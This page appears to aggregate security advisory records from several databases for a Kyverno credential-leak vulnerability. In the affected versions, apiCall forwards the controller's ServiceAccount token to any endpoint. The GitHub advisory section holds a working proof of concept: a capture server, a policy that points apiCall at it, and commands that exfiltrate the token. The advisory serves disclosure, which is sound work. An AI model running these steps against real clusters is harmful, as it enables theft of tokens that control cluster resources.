Kyverno before 1.16.4 Credential Leak via apiCall

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.

Source published

1 Sep 2026 11:33:58 UTC

Source modified

1 Sep 2026 12:11:37 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.

Source published

Sep 1, 2026, 11:33:58 AM (timezone not stated)

Source modified

Sep 1, 2026, 12:11:37 PM (timezone not stated)

Observed here

11 Nov 2026 17:00:42 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Kyverno before 1.16.4 automatically attaches the admission controller's ServiceAccount token to outbound HTTP requests in apiCall service mode without explicit authorization headers. Attackers can exfiltrate the token by directing apiCall requests to external or attacker-controlled endpoints, gaining full control over Kyverno policies and cluster resources.

Source published

1 Sep 2026 12:17:49 UTC

Source modified

10 Sep 2026 15:43:03 UTC

Observed here

25 Oct 2026 16:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

### Summary Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints. The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in. --- ### Details Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from: `/var/run/secrets/kubernetes.io/serviceaccount/token` and injects it into every HTTP request as: ``` Authorization: Bearer <token> ``` This occurs when no explicit `Authorization` header is defined in the policy. #### Root cause ```go if req.Header.Get("Authorization") == "" { token := a.getToken() if token != "" { req.Header.Add("Authorization", "Bearer "+token) } } ``` This logic introduces several issues: - **Implicit credential forwarding** to arbitrary endpoints - **No trust boundary validation** (external/internal distinction) - **Undocumented behavior** - **Header.Add instead of Set** allows duplication - **No token sanitization** (potential trailing newline) --- ### PoC #### Preconditions - Kyverno installed (v1.17.1 tested) - A policy using `apiCall.service.url` --- #### Step 1 — Deploy capture server ```bash kubectl run capture --image=python:3-slim --restart=Never -- \ python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print(self.headers.get('Authorization'), flush=True) self.send_response(200) self.end_headers() http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()" kubectl expose pod capture --port=8888 ``` --- #### Step 2 — Create policy ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: token-leak spec: rules: - name: test match: any: - resources: kinds: ["Pod"] context: - name: r apiCall: method: GET service: url: "http://capture.default.svc:8888" jmesPath: "@" ``` --- #### Step 3 — Trigger ```bash kubectl run test --image=nginx ``` --- #### Step 4 — Observe token ```bash kubectl logs capture ``` Output: ``` Authorization: Bearer <SA_TOKEN> ``` --- ### Impact #### Vulnerability class - Credential exposure / leakage #### Impact details - Exposure of Kubernetes ServiceAccount token - Token grants: - Full control over Kyverno policies - Ability to create/delete webhooks - Read cluster-wide resources - Privilege escalation and persistence

Source published

16 Apr 2026 21:37:29 UTC

Source modified

25 Sep 2026 14:25:37 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Publisher rating · HIGH

Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak) in github.com/kyverno/kyverno

Source published

25 Jun 2026 18:43:15 UTC

Source modified

25 Sep 2026 14:25:37 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.